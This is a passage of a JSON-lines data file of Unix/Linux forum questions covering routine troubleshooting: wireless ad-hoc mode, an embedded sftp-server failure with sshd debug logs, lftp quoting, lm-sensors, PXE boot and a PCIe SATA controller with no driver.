ADDRCONF(NETDEV_UP): wlan0: link is not ready and `/var/log/syslog` where I find the problem is with the wpa_supplicant: Apr 29 17:13:39 *** wpa_supplicant[8406]: nl80211: Failed to set interface into IBSS mode Apr 29 17:13:39 *** wpa_supplicant[8406]: Association request to the driver failed Trying manually then results in (response to `iwconfig wlan0 mode ad-hoc`): Error for wireless request \"Set Mode\" (8B06) : SET failed on device wlan0 ; Operation not supported. I have tried disabling ipv6 as suggested here among others to no avail. Then I tried editing the GRUB file as suggested here, which means booting with `ipv6.disable=1`. After reboot, it does eliminate the third line but it does not result in an Adhoc network. If I want to establish a new Ad-hoc network to reset the iwlwifi mod (And if I use the NetworkManager I have to be fast enough to ensure that it doesn't start on another network first). sudo rmmod iwlwifi sudo modprobe iwlwifi Does anyone have an idea what the problem could be and how to resolve it?"} {"_id": "118705", "title": "How to run man with formatting in not interactive shell", "text": "I have webpage that process ANSI codes and output from man command (underline `A` as `A\\x08_`) and I call php shell that execute `bash -c \"\"` and print the output on the webpage. On the server (it introduce itself as \"CloudLinux Server release 6.5 (Pavel Popovich)\") `man` command print Ntroff (and they are in bold/underline) but on my local (XUbuntu) the output is not formatted. Why `man` command differ on these two distros and How can I create function or alias for man that will always print ntroff formatting?"} {"_id": "110512", "title": "Uninstall JDK rpm to reinstall", "text": "Where do I find the JDK install to uninstall? @terdon had explained using an `rpm` type download so it would be easier to uninstall, but I cannot find it."} {"_id": "110513", "title": "Redirection to services in NAT or Bridged Network only with one subdomain", "text": "I have one subdomain (dyndns). xyz.dyndns.com (f.e.) Here my question begins: * I have a server for virtualisation. * On the server I have multiple VMs where different web-services are available through https. * My router is configured with xyz.dyndns.com * VMs can be accessed over NAT or be Bridged to router How is it possible to access VM_1's and VM_2's WebService like: `https://xyz.dyndns.com/vm_1_webservice` or `https://xyz.dyndns.com/vm_2_webservice` Because I need to add redirection rules to router. I know that with bridging the VMs I can simply redirect http to the VM on router. In my local network I have configured anything with DNAT (iptables). I.e. when I go trought localhost(server):40001(port) f.e. I will be redirected to VM_1's WebService which is accessible through SSL. Like: `https://127.0.0.1:40001/vm_1_webservice` It works good. How to go on?(with nginx or apache on host?)"} {"_id": "110511", "title": "Count number of elements in an array", "text": "I would like to ask if there is a way to count the number of elements in an array in `ksh`."} {"_id": "110516", "title": "crontab nodification is taking too much time", "text": "There are 300 processes configured in a single Linux server's crontab. if I want to stop or modify any of them, I have to comment them out (i.e. # ..cron..) for all processes. It's a time consuming process. Is there any way to avoid having to do this?"} {"_id": "151198", "title": "How to remove unwanted Windows domain accounts and local account from Linux Mint 17 login screen?", "text": "I added Linux mint 17 as a member of Windows 2008R2 domain controller. When I login to my domain account and switch user, I see a bunch of unwanted domain accounts and local machine accounts. I need to know how to remove these unwanted accounts. Here's a list of the accounts I see on the login screen: * mydomain\\administrator * mydomain\\guest # this account is disabled on the domain however it's still showing up * mydomain\\krbtgt # not sure what to do with this one * hostname\\Administrator # need to remove this one, not sure why I have two of them * hostname\\Guest # need to remove this one * Administrator # need this one for local administration I am not sure if I have to edit and exclude them from /etc/mdm/mdm.conf. I forgot to mention that I am not using simple GDM style. I am using simple UserList GDM. I appreciate any help on the issue. Thank you."} {"_id": "90998", "title": "Block Particular Command in Linux for Specific user", "text": "How to block command, let say `mkdir` for specific user ? What I did just created read-only function and store in users profile `~/.bashrc` /bin/mkdir() { echo \"mkdir command not allow for you\" } mkdir() { echo \"mkdir command not allow for you\" } ./mkdir() { echo \"mkdir command not allow for you\" } readonly -f /bin/mkdir readonly -f mkdir readonly -f ./mkdir **Test:** rahul@ubuntu:~$ cd /bin/ rahul@ubuntu:/bin$ ./mkdir /home/rahul/ggg mkdir command not allow for you rahul@ubuntu:/bin$ cd rahul@ubuntu:~$ mkdir testing mkdir command not allow for you rahul@ubuntu:~$ /bin/mkdir testing mkdir command not allow for you So my question is What should be the way of achieving this ? is there any tool for this ? Update 1 # But if user is smart , he could copy mkdir binary and rename it and use it . So how to achieve this ?"} {"_id": "93589", "title": "cannot set up lm-sensors propetly", "text": "## I actually try to get lm-sensors to work as I wish. And my only wish is to see how the cpu is doing. (Optional HDD's, FSB and I'm open your suggestions) So I run **Debian wheezy** , and did a `apt-get install lm-sensors` After that I did a `sensors-detect`. I said yes to all scans except the I2C/SMBus (because it says it is not safe and not because I know what I'm doing) And when I do `sensors`, this is what I get : Adapter: PCI adapter power1: 117.56 W (crit = 124.95 W) k10temp-pci-00c3 Adapter: PCI adapter temp1: +12.9\u00b0C (high =+70.0\u00b0C) (crit = +70.0\u00b0C, hyst = +68.0\u00b0C) My CPU is a **AMD FX(tm)-8120** and i did not install any kind of drivers. (I looked in the internet but cannot find a equivalent method _needed_ like in Windows) **EDIT:** So why am I only seeing the 2 entries? One shows the Watt, I don't really need this. and the other is like 12,9\u00b0C, this is quite unrealistic because I think i should be around 40-50\u00b0 based on my experience. **EDIT2:** `sensors-detect` output > Now follows a summary of the probes I have just done. > Just press ENTER to continue: > > Driver `fam15h_power' (autoloaded): * Chip`AMD Family 15h power sensors' > (confidence: 9) > > Driver `k10temp' (autoloaded): * Chip`AMD Family 15h thermal sensors' > (confidence: 9) > > No modules to load, skipping modules configuration. > > Unloading cpuid... OK"} {"_id": "145950", "title": "How do I disable hardware detection during PXE boot?", "text": "I'm atttempting to install centOS 6.5 on a new dell machine through PXE boot. The PXE boot works fine for other PCs, just the new workstations are problematic. The PXE boot hangs on \"Detecting Hardware\" indefinately (I let it go for an hour without change). During a normal install at the \"Boot:\" menu I'd be able to put in 'noprobe' to skip hardware detection, but during a PXE boot a \"Boot:\" prompt appears, which does not behave the same way (it looks for an image based on the text put in ex: Boot: noprobe Image 'noprobe' does not exist Boot: linux dd Image 'linux' does not exist [linux dd is only there as an example, I do not need it]) My guess is that there is something about the hardware that's throwing off the installation, as it is quite different from the old machines that work fine. I'm wondering: a) is there a method by which I can get more information about what the installer is attempting to detect? (like a play by play [determining cpuid.....Xeon x86_64 determining RAM....128 GB ect.) b) how do I use additional boot options in conjunction with PXE? **EDIT** : Appending to initrd.img seems to read in the boot options c) is there another method to skip hardware detection? **EDIT** : Skipping the hardware detection seems to prevent the machine from downloading the KS file later (I spose that's to be expected), so it doesn't help much. d) if I do a CD install (assuming it would work), and export a KS from that installation, would it resolve the hardware detection issues for identical machines?"} {"_id": "93582", "title": "How to harden linux against DMA attacks?", "text": "How can I configure my linux system to be secure against DMA-attacks? Is there a way to make them impossible? ### DMA Attacks _excerptFrom wikipedia_ > In modern operating systems, non-system (i.e. user-mode) applications are > prevented from accessing any memory locations not explicitly authorized by > the virtual memory controller (called the MMU or Memory Mapping Unit). In > addition to containing damage from inadvertent software bugs and allowing > more efficient use of physical memory, this architecture forms an integral > part of the security of a modern operating system. However, kernel-mode > drivers, many hardware devices, and occasional user-mode vulnerabilities > allow the direct, unimpeded access of the physical memory address space. The > physical address space includes all of the main system memory, as well as > memory-mapped buses and hardware devices (which are controlled by the > operating system through reads and writes as if they were ordinary RAM)."} {"_id": "93584", "title": "sFTP server fails to start", "text": "I'm having problems getting sFTP working while there are no problems with ssh. I'm basically building zlib, openssl, and openssh for an ARM processor using an existing embedded Linux filesystem. After searching for ideas, this seemed liked a common problem, but I haven't made any progress. I only have one user defined, which is root with a empty password. I'm using openssh version 4.7p1, and I modified sshd_config with the following settings: PermitRootLogin yes PermitEmptyPasswords yes UseDNS yes UsePrivilegeSeparation no SyslogFacility AUTH LogLevel DEBUG3 Subsystem sftp /usr/local/libexec/sftp-server -f AUTH -l DEBUG3 The sftp-server is located in /usr/local/libexec and has the following permissions: root@arm:/usr/local/libexec# ls -l -rwxr-xr-x 1 root root 65533 Oct 3 22:12 sftp-server -rwx--x--x 1 root root 233539 Oct 3 22:12 ssh-keysign I know sftp-server is being found (path is set in sshd_config) because if I rename the sftp_server executable, I get the following error: auth.err sshd[1698]: error: subsystem: cannot stat /usr/local/libexec/sftp-server: No such file or directory auth.info sshd[1698]: subsystem request for sftp failed, subsystem not found Also, the target's login init-scripts are very simple and consists of a single file (etc/profile.d/local.sh), which only contain definitions for LD_LIBRARY_PATH, PATH and PYTHONPATH as shown below: #!/bin/sh export LD_LIBRARY_PATH=\"/usr/local/lib\" export PATH=\"/usr/local/bin:/usr/local/libexec:${PATH}\" export PYTHONPATH=\"/home/root/python\" As you can see .bashrc, .profile, etc do not exist in root's home directory: root@arm:~# ls -la drwxr-xr-x 2 root root 4096 Oct 4 14:57 . drwxr-xr-x 3 root root 4096 Oct 4 01:11 .. -rw------- 1 root root 120 Oct 4 01:21 .bash_history Here is the system log output when using FileZilla to connect to the sftp server on the target. From the log it seems that the sftp-server executable is found, but the child processes is exited immediately. I am using debug arguments when calling sftp-server in sshd_config (Subsystem sftp /usr/local/libexec/sftp-server -f AUTH -l DEBUG3), but no logs were captured. Oct 4 14:29:45 arm auth.info sshd[2070]: Connection from 192.168.1.12 port 45888 Oct 4 14:29:45 arm auth.debug sshd[2070]: debug1: Client protocol version 2.0; client software version PuTTY_Local:_Mar_28_2012_12:33:05 Oct 4 14:29:45 arm auth.debug sshd[2070]: debug1: no match: PuTTY_Local:_Mar_28_2012_12:33:05 Oct 4 14:29:45 arm auth.debug sshd[2070]: debug1: Enabling compatibility mode for protocol 2.0 Oct 4 14:29:45 arm auth.debug sshd[2070]: debug1: Local version string SSH-2.0-OpenSSH_4.7 Oct 4 14:29:45 arm auth.debug sshd[2070]: debug2: fd 3 setting O_NONBLOCK Oct 4 14:29:45 arm auth.debug sshd[2070]: debug1: list_hostkey_types: ssh-rsa,ssh-dss Oct 4 14:29:45 arm auth.debug sshd[2070]: debug1: SSH2_MSG_KEXINIT sent Oct 4 14:29:45 arm auth.debug sshd[2070]: debug1: SSH2_MSG_KEXINIT received Oct 4 14:29:45 arm auth.debug sshd[2070]: debug2: kex_parse_kexinit: diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellma1 Oct 4 14:29:45 arm auth.debug sshd[2070]: debug2: kex_parse_kexinit: ssh-rsa,ssh-dss Oct 4 14:29:45 arm auth.debug sshd[2070]: debug2: kex_parse_kexinit: aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour128,arcfour256,arcfour,aes192-cbc,aes256-cbc,rijndael-cbc@lysr Oct 4 14:29:45 arm auth.debug sshd[2070]: debug2: kex_parse_kexinit: aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour128,arcfour256,arcfour,aes192-cbc,aes256-cbc,rijndael-cbc@lysr Oct 4 14:29:45 arm auth.debug sshd[2070]: debug2: kex_parse_kexinit: hmac-md5,hmac-sha1,umac-64@openssh.com,hmac-ripemd160,hmac-ripemd160@openssh.com,hmac-sha1-96,hmac-md5-96 Oct 4 14:29:45 arm auth.debug sshd[2070]: debug2: kex_parse_kexinit: hmac-md5,hmac-sha1,umac-64@openssh.com,hmac-ripemd160,hmac-ripemd160@openssh.com,hmac-sha1-96,hmac-md5-96 Oct 4 14:29:45 arm auth.debug sshd[2070]: debug2: kex_parse_kexinit: none,zlib@openssh.com Oct 4 14:29:45 arm auth.debug sshd[2070]: debug2: kex_parse_kexinit: none,zlib@openssh.com Oct 4 14:29:45 arm auth.debug sshd[2070]: debug2: kex_parse_kexinit: Oct 4 14:29:45 arm auth.debug sshd[2070]: debug2: kex_parse_kexinit: Oct 4 14:29:45 arm auth.debug sshd[2070]: debug2: kex_parse_kexinit: first_kex_follows 0 Oct 4 14:29:45 arm auth.debug sshd[2070]: debug2: kex_parse_kexinit: reserved 0 Oct 4 14:29:45 arm auth.debug sshd[2070]: debug2: kex_parse_kexinit: diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellma1 Oct 4 14:29:45 arm auth.debug sshd[2070]: debug2: kex_parse_kexinit: ssh-rsa,ssh-dss Oct 4 14:29:45 arm auth.debug sshd[2070]: debug2: kex_parse_kexinit: aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,blowfish-ctr,blowfi8 Oct 4 14:29:45 arm auth.debug sshd[2070]: debug2: kex_parse_kexinit: aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,blowfish-ctr,blowfi8 Oct 4 14:29:45 arm auth.debug sshd[2070]: debug2: kex_parse_kexinit: hmac-sha1,hmac-sha1-96,hmac-md5 Oct 4 14:29:45 arm auth.debug sshd[2070]: debug2: kex_parse_kexinit: hmac-sha1,hmac-sha1-96,hmac-md5 Oct 4 14:29:45 arm auth.debug sshd[2070]: debug2: kex_parse_kexinit: none,zlib Oct 4 14:29:45 arm auth.debug sshd[2070]: debug2: kex_parse_kexinit: none,zlib Oct 4 14:29:45 arm auth.debug sshd[2070]: debug2: kex_parse_kexinit: Oct 4 14:29:45 arm auth.debug sshd[2070]: debug2: kex_parse_kexinit: Oct 4 14:29:45 arm auth.debug sshd[2070]: debug2: kex_parse_kexinit: first_kex_follows 0 Oct 4 14:29:45 arm auth.debug sshd[2070]: debug2: kex_parse_kexinit: reserved 0 Oct 4 14:29:45 arm auth.debug sshd[2070]: debug2: mac_setup: found hmac-sha1 Oct 4 14:29:45 arm auth.debug sshd[2070]: debug1: kex: client->server aes256-ctr hmac-sha1 none Oct 4 14:29:45 arm auth.debug sshd[2070]: debug2: mac_setup: found hmac-sha1 Oct 4 14:29:45 arm auth.debug sshd[2070]: debug1: kex: server->client aes256-ctr hmac-sha1 none Oct 4 14:29:45 arm auth.debug sshd[2070]: debug1: SSH2_MSG_KEX_DH_GEX_REQUEST_OLD received Oct 4 14:29:45 arm auth.debug sshd[2070]: debug1: SSH2_MSG_KEX_DH_GEX_GROUP sent Oct 4 14:29:45 arm auth.debug sshd[2070]: debug2: dh_gen_key: priv key bits set: 277/512 Oct 4 14:29:45 arm auth.debug sshd[2070]: debug2: bits set: 2052/4096 Oct 4 14:29:45 arm auth.debug sshd[2070]: debug1: expecting SSH2_MSG_KEX_DH_GEX_INIT Oct 4 14:29:45 arm auth.debug sshd[2070]: debug2: bits set: 2036/4096 Oct 4 14:29:45 arm auth.debug sshd[2070]: debug1: SSH2_MSG_KEX_DH_GEX_REPLY sent Oct 4 14:29:45 arm auth.debug sshd[2070]: debug2: kex_derive_keys Oct 4 14:29:45 arm auth.debug sshd[2070]: debug2: set_newkeys: mode 1 Oct 4 14:29:45 arm auth.debug sshd[2070]: debug2: cipher_init: set keylen (16 -> 32) Oct 4 14:29:45 arm auth.debug sshd[2070]: debug1: SSH2_MSG_NEWKEYS sent Oct 4 14:29:45 arm auth.debug sshd[2070]: debug1: expecting SSH2_MSG_NEWKEYS Oct 4 14:29:46 arm auth.debug sshd[2070]: debug2: set_newkeys: mode 0 Oct 4 14:29:46 arm auth.debug sshd[2070]: debug2: cipher_init: set keylen (16 -> 32) Oct 4 14:29:46 arm auth.debug sshd[2070]: debug1: SSH2_MSG_NEWKEYS received Oct 4 14:29:46 arm auth.debug sshd[2070]: debug1: KEX done Oct 4 14:29:46 arm auth.debug sshd[2070]: debug1: userauth-request for user root service ssh-connection method none Oct 4 14:29:46 arm auth.debug sshd[2070]: debug1: attempt 0 failures 0 Oct 4 14:29:46 arm auth.debug sshd[2070]: debug3: Trying to reverse map address 192.168.1.12. Oct 4 14:29:46 arm auth.debug sshd[2070]: debug2: parse_server_config: config reprocess config len 302 Oct 4 14:29:46 arm auth.debug sshd[2070]: debug2: input_userauth_request: setting up authctxt for root Oct 4 14:29:46 arm auth.debug sshd[2070]: debug2: input_userauth_request: try method none Oct 4 14:29:46 arm auth.info sshd[2070]: Accepted none for root from 192.168.1.12 port 45888 ssh2 Oct 4 14:29:46 arm auth.debug sshd[2070]: debug1: Entering interactive session for SSH2. Oct 4 14:29:46 arm auth.debug sshd[2070]: debug2: fd 4 setting O_NONBLOCK Oct 4 14:29:46 arm auth.debug sshd[2070]: debug2: fd 5 setting O_NONBLOCK Oct 4 14:29:46 arm auth.debug sshd[2070]: debug1: server_init_dispatch_20 Oct 4 14:29:46 arm auth.debug sshd[2070]: debug1: server_input_channel_open: ctype session rchan 256 win 2147483647 max 16384 Oct 4 14:29:46 arm auth.debug sshd[2070]: debug1: input_session_request Oct 4 14:29:46 arm auth.debug sshd[2070]: debug1: channel 0: new [server-session] Oct 4 14:29:46 arm auth.debug sshd[2070]: debug1: session_new: init Oct 4 14:29:46 arm auth.debug sshd[2070]: debug1: session_new: session 0 Oct 4 14:29:46 arm auth.debug sshd[2070]: debug1: session_open: channel 0 Oct 4 14:29:46 arm auth.debug sshd[2070]: debug1: session_open: session 0: link with channel 0 Oct 4 14:29:46 arm auth.debug sshd[2070]: debug1: server_input_channel_open: confirm session Oct 4 14:29:46 arm auth.debug sshd[2070]: debug1: server_input_channel_req: channel 0 request simple@putty.projects.tartarus.org reply 0 Oct 4 14:29:46 arm auth.debug sshd[2070]: debug1: session_by_channel: session 0 channel 0 Oct 4 14:29:46 arm auth.debug sshd[2070]: debug1: session_input_channel_req: session 0 req simple@putty.projects.tartarus.org Oct 4 14:29:46 arm auth.debug sshd[2070]: debug1: server_input_channel_req: channel 0 request subsystem reply 1 Oct 4 14:29:46 arm auth.debug sshd[2070]: debug1: session_by_channel: session 0 channel 0 Oct 4 14:29:46 arm auth.debug sshd[2070]: debug1: session_input_channel_req: session 0 req subsystem Oct 4 14:29:46 arm auth.info sshd[2070]: subsystem request for sftp Oct 4 14:29:46 arm auth.debug sshd[2070]: debug1: subsystem: exec() /usr/local/libexec/sftp-server -f AUTH -l DEBUG3 Oct 4 14:29:46 arm auth.debug sshd[2070]: debug2: fd 3 setting TCP_NODELAY Oct 4 14:29:46 arm auth.debug sshd[2070]: debug2: fd 7 setting O_NONBLOCK Oct 4 14:29:46 arm auth.debug sshd[2070]: debug3: fd 7 is O_NONBLOCK Oct 4 14:29:46 arm auth.debug sshd[2073]: debug1: permanently_set_uid: 0/0 Oct 4 14:29:46 arm auth.debug sshd[2073]: debug3: channel 0: close_fds r -1 w -1 e -1 c -1 Oct 4 14:29:46 arm auth.debug sshd[2070]: debug2: channel 0: read<=0 rfd 7 len -1 Oct 4 14:29:46 arm auth.debug sshd[2070]: debug2: channel 0: read failed Oct 4 14:29:46 arm auth.debug sshd[2070]: debug2: channel 0: close_read Oct 4 14:29:46 arm auth.debug sshd[2070]: debug2: channel 0: input open -> drain Oct 4 14:29:46 arm auth.debug sshd[2070]: debug2: channel 0: ibuf empty Oct 4 14:29:46 arm auth.debug sshd[2070]: debug2: channel 0: send eof Oct 4 14:29:46 arm auth.debug sshd[2070]: debug2: channel 0: input drain -> closed Oct 4 14:29:46 arm auth.debug sshd[2070]: debug2: notify_done: reading Oct 4 14:29:46 arm auth.debug sshd[2070]: debug1: Received SIGCHLD. Oct 4 14:29:46 arm auth.debug sshd[2070]: debug1: session_by_pid: pid 2073 Oct 4 14:29:46 arm auth.debug sshd[2070]: debug1: session_exit_message: session 0 channel 0 pid 2073 Oct 4 14:29:46 arm auth.debug sshd[2070]: debug2: channel 0: request exit-status confirm 0 Oct 4 14:29:46 arm auth.debug sshd[2070]: debug1: session_exit_message: release channel 0 Oct 4 14:29:46 arm auth.debug sshd[2070]: debug2: channel 0: write failed Oct 4 14:29:46 arm auth.debug sshd[2070]: debug2: channel 0: close_write Oct 4 14:29:46 arm auth.debug sshd[2070]: debug2: channel 0: output open -> closed Oct 4 14:29:46 arm auth.debug sshd[2070]: debug2: channel 0: send close Oct 4 14:29:46 arm auth.debug sshd[2070]: debug3: channel 0: will not send data after close Oct 4 14:29:46 arm auth.debug sshd[2070]: debug2: channel 0: rcvd close Oct 4 14:29:46 arm auth.debug sshd[2070]: debug3: channel 0: will not send data after close Oct 4 14:29:46 arm auth.debug sshd[2070]: debug2: channel 0: is dead Oct 4 14:29:46 arm auth.debug sshd[2070]: debug2: channel 0: gc: notify user Oct 4 14:29:46 arm auth.debug sshd[2070]: debug1: session_by_channel: session 0 channel 0 Oct 4 14:29:46 arm auth.debug sshd[2070]: debug1: session_close_by_channel: channel 0 child 0 Oct 4 14:29:46 arm auth.debug sshd[2070]: debug1: session_close: session 0 pid 0 Oct 4 14:29:46 arm auth.debug sshd[2070]: debug2: channel 0: gc: user detached Oct 4 14:29:46 arm auth.debug sshd[2070]: debug2: channel 0: is dead Oct 4 14:29:46 arm auth.debug sshd[2070]: debug2: channel 0: garbage collecting Oct 4 14:29:46 arm auth.debug sshd[2070]: debug1: channel 0: free: server-session, nchannels 1 Oct 4 14:29:46 arm auth.debug sshd[2070]: debug3: channel 0: status: The following connections are open:\\r\\n #0 server-session (t4 r256 i3/0 o3/0 fd 7/7 cfd -1)\\r\\n Oct 4 14:29:46 arm auth.debug sshd[2070]: debug3: channel 0: close_fds r 7 w 7 e -1 c -1 Oct 4 14:29:46 arm auth.info sshd[2070]: Connection closed by 192.168.1.12 Oct 4 14:29:46 arm auth.debug sshd[2070]: debug1: do_cleanup Oct 4 14:29:46 arm auth.info sshd[2070]: Closing connection to 192.168.1.12"} {"_id": "93587", "title": "lftp: login, put file in remote dir and exit in a single command: proper quoting help", "text": "I want to use `lftp -c` to do an entire session in one go (as I'll be launching this from a script later on) and I managed with `-e` but that ofc leaves me with the interactive session which I don't want. Manual states -c commands Execute the given commands and exit. Commands can be separated with a semicolon, `&&' or `||'. Remember to quote the commands argument properly in the shell. This option must be used alone without other arguments. But I dont understand how I should quote and string my commands/interactions together correctly. `lftp -e \"put -O remote/dir/ /local/file.txt\" -u user,pass ftpsite.com` works excellent. But I want to exit after executing the command; `lftp -c \"open -u user,pass ftpsite.com\" || put -O \"remote/dir/ /local/file.txt\"` just shouts at me, or in fact any combination of quotes I tried (`||` or `&&` regardless)"} {"_id": "59201", "title": "Unclaimed device in lshw", "text": "I have added in my computer a PCI Express controler card with 2 USB3 ports and 2 sata3 ports. (http://www.ldlc.be/fiche/PB00121886.html). The USB ports are working correctly but the HDD plugged in the sata port is not appearing in the devices. I ran lshw and here the result concerning the pci card: *-pci:1 description: PCI bridge product: PEX 8604 4-lane, 4-Port PCI Express Gen 2 (5.0 GT/s) Switch vendor: PLX Technology, Inc. physical id: 5 bus info: pci@0000:05:05.0 version: ba width: 32 bits clock: 33MHz capabilities: pci pm msi pciexpress normal_decode bus_master cap_list configuration: driver=pcieport resources: irq:46 ioport:7000(size=8192) memory:d6100000-d61fffff *-ide UNCLAIMED description: IDE interface physical id: 0 bus info: pci@0000:07:00.0 version: 01 width: 32 bits clock: 33MHz capabilities: ide msi pm pciexpress cap_list configuration: latency=0 resources: ioport:7000(size=8) ioport:7400(size=4) ioport:7800(size=8) ioport:7c00(size=4) ioport:8000(size=16) memory:d6100000-d61001ff` It seems that the Unclaimed IDE is the culprit and that it is unclaimed because the system found no driver for it. How can I find which driver I would need to make that ide part working? So far my google search for PEX 8604 return almost nothing concerning a linux driver. EDIT: additional info # lspci -nn 00:00.0 Memory controller [0580]: nVidia Corporation CK804 Memory Controller [10de:005e] (rev a3) 00:01.0 ISA bridge [0601]: nVidia Corporation CK804 ISA Bridge [10de:0050] (rev f3) 00:01.1 SMBus [0c05]: nVidia Corporation CK804 SMBus [10de:0052] (rev a2) 00:02.0 USB Controller [0c03]: nVidia Corporation CK804 USB Controller [10de:005a] (rev a2) 00:02.1 USB Controller [0c03]: nVidia Corporation CK804 USB Controller [10de:005b] (rev a3) 00:04.0 Multimedia audio controller [0401]: nVidia Corporation CK804 AC'97 Audio Controller [10de:0059] (rev a2) 00:06.0 IDE interface [0101]: nVidia Corporation CK804 IDE [10de:0053] (rev f2) 00:07.0 IDE interface [0101]: nVidia Corporation CK804 Serial ATA Controller [10de:0054] (rev f3) 00:08.0 IDE interface [0101]: nVidia Corporation CK804 Serial ATA Controller [10de:0055] (rev f3) 00:09.0 PCI bridge [0604]: nVidia Corporation CK804 PCI Bridge [10de:005c] (rev f2) 00:0a.0 Bridge [0680]: nVidia Corporation CK804 Ethernet Controller [10de:0057] (rev f3) 00:0b.0 PCI bridge [0604]: nVidia Corporation CK804 PCIE Bridge [10de:005d] (rev f3) 00:0c.0 PCI bridge [0604]: nVidia Corporation CK804 PCIE Bridge [10de:005d] (rev f3) 00:0d.0 PCI bridge [0604]: nVidia Corporation CK804 PCIE Bridge [10de:005d] (rev f3) 00:0e.0 PCI bridge [0604]: nVidia Corporation CK804 PCIE Bridge [10de:005d] (rev a3) 00:18.0 Host bridge [0600]: Advanced Micro Devices [AMD] K8 [Athlon64/Opteron] HyperTransport Technology Configuration [1022:1100] 00:18.1 Host bridge [0600]: Advanced Micro Devices [AMD] K8 [Athlon64/Opteron] Address Map [1022:1101] 00:18.2 Host bridge [0600]: Advanced Micro Devices [AMD] K8 [Athlon64/Opteron] DRAM Controller [1022:1102] 00:18.3 Host bridge [0600]: Advanced Micro Devices [AMD] K8 [Athlon64/Opteron] Miscellaneous Control [1022:1103] 01:00.0 VGA compatible controller [0300]: nVidia Corporation G98 [GeForce 8400 GS] [10de:06e4] (rev a1) 04:00.0 PCI bridge [0604]: PLX Technology, Inc. PEX 8604 4-lane, 4-Port PCI Express Gen 2 (5.0 GT/s) Switch [10b5:8604] (rev ba) 05:01.0 PCI bridge [0604]: PLX Technology, Inc. PEX 8604 4-lane, 4-Port PCI Express Gen 2 (5.0 GT/s) Switch [10b5:8604] (rev ba) 05:05.0 PCI bridge [0604]: PLX Technology, Inc. PEX 8604 4-lane, 4-Port PCI Express Gen 2 (5.0 GT/s) Switch [10b5:8604] (rev ba) 06:00.0 USB Controller [0c03]: Device [1b21:1040] 07:00.0 IDE interface [0101]: Device [1b21:0611] (rev 01) 08:06.0 Ethernet controller [0200]: Realtek Semiconductor Co., Ltd. RTL-8139/8139C/8139C+ [10ec:8139] (rev 10) 08:0b.0 FireWire (IEEE 1394) [0c00]: Texas Instruments TSB43AB22/A IEEE-1394a-2000 Controller (PHY/Link) [104c:8023] 08:0c.0 Ethernet controller [0200]: Marvell Technology Group Ltd. 88E8001 Gigabit Ethernet Controller [11ab:4320] (rev 13) # lspci -v -s 5:5 05:05.0 PCI bridge: PLX Technology, Inc. PEX 8604 4-lane, 4-Port PCI Express Gen 2 (5.0 GT/s) Switch (rev ba) (prog-if 00 [Normal decode]) Flags: bus master, fast devsel, latency 0 Bus: primary=05, secondary=07, subordinate=07, sec-latency=0 I/O behind bridge: 00007000-00008fff Memory behind bridge: d6100000-d61fffff Capabilities: [40] Power Management version 3 Capabilities: [48] MSI: Enable+ Count=1/4 Maskable+ 64bit+ Capabilities: [68] Express Downstream Port (Slot+), MSI 00 Capabilities: [a4] Subsystem: PLX Technology, Inc. PEX 8604 4-lane, 4-Port PCI Express Gen 2 (5.0 GT/s) Switch Capabilities: [100] Device Serial Number [EDITED] Capabilities: [fb4] Advanced Error Reporting Capabilities: [148] Virtual Channel Capabilities: [520] Access Control Services Capabilities: [950] Vendor Specific Information: ID=0001 Rev=0 Len=010 Kernel driver in use: pcieport Kernel modules: shpchp # lspci -v -s 7:0 07:00.0 IDE interface: Device 1b21:0611 (rev 01) (prog-if 85 [Master SecO PriO]) Subsystem: Device 1b21:1060 Flags: fast devsel, IRQ 18 I/O ports at 7000 [size=8] I/O ports at 7400 [size=4] I/O ports at 7800 [size=8] I/O ports at 7c00 [size=4] I/O ports at 8000 [size=16] Memory at d6100000 (32-bit, non-prefetchable) [size=512] Capabilities: [50] MSI: Enable- Count=1/1 Maskable- 64bit- Capabilities: [78] Power Management version 3 Capabilities: [80] Express Legacy Endpoint, MSI 00 Capabilities: [100] Virtual Channel"} {"_id": "59203", "title": "Vim to print file on terminal and exit", "text": "I would like vim to do this in order to have syntax highlight as set up in vim (or without need for extra tools). So instead to use `cat file | ` I would use `vim +\"some_opts\" +\"...\" +q file`. The problem is that vim restores previous screen upon exit, but using some remote access tools this didn't happen so it was basically working as cat with syntax highlight. So, is this possible ? **EDIT** Thinking more about this I think this is great thing to have. Apart from syntax highlighting other features of vim could be used while displaying file content, like line numbers, white space, wrapping,etc... especially within script and because vim is omnipresent."} {"_id": "27585", "title": "What are some options for lightweight distros, specifically for virtulization?", "text": "> **Possible Duplicate:** > Which Linux distro is most lightweight for running virtual machines? I've been using Linux for a year or two full time. I do a lot of programming, and I'm pretty good at it, so I started making video tutorials. Sadly, one of the languages I've spent a lot of time learning only works on Windows. I can't/won't install a Windows OS to my computer, so I've been using VirtualBox as an emulator. My problem is that it runs quite slowly, which can be attributed to using Ubuntu with GNOME, having a mess of other processes and services running at the same time, and the fact that it's emulation it self. I'd like to eliminate the first two... so my question is: > ### What are some lightweight Linux distros that will give high speeds to an > emulator? * * * Here are the details of my situation. * I have a 64 bit computer, AMD. I typically use 32 bit Linux due to compatibility issues. * I almost _need_ a binary of the emulator. I don't think I've successfully compiled someone else's program. Hence me using Ubuntu ;-) * VirtualBox, VMWare Player, I don't care. Anything that doesn't cost money, and can run Windows XP is fine. * Wobbly windows, etc. don't matter. I just want it to work, it doesn't have to be pretty. Heck, I can deal with just a console as long as the emulator works. * It doesn't have to be perfect. I'm just trying to optimize where I can. Personal experience and hard facts are both encouraged. Thanks. * * * Need more detail? Just ask! * * * ### Update I have Debian installing on my main computer right now. On a SO question I ran into, it mentions Tiny Core Linux. The site says it's 10mb, which is so small it can't come with much out of the box. Even though I installed Debian already, it's still early enough to change to something better. If there isn't a great performance kick from TCL, and Debian does what I need it to, this question's probably answered. I'll just answer and accept it."} {"_id": "150827", "title": "How can I replace root / filesystem with another filesystem?", "text": "When the Linux kernel starts up, it uses initrd as the root / filesystem, then replaces that with a filesystem partition in fstab. Based on a test in an early init script, I want to replace that root / filesystem with another filesystem partition. How to do that?"} {"_id": "150824", "title": "Can't 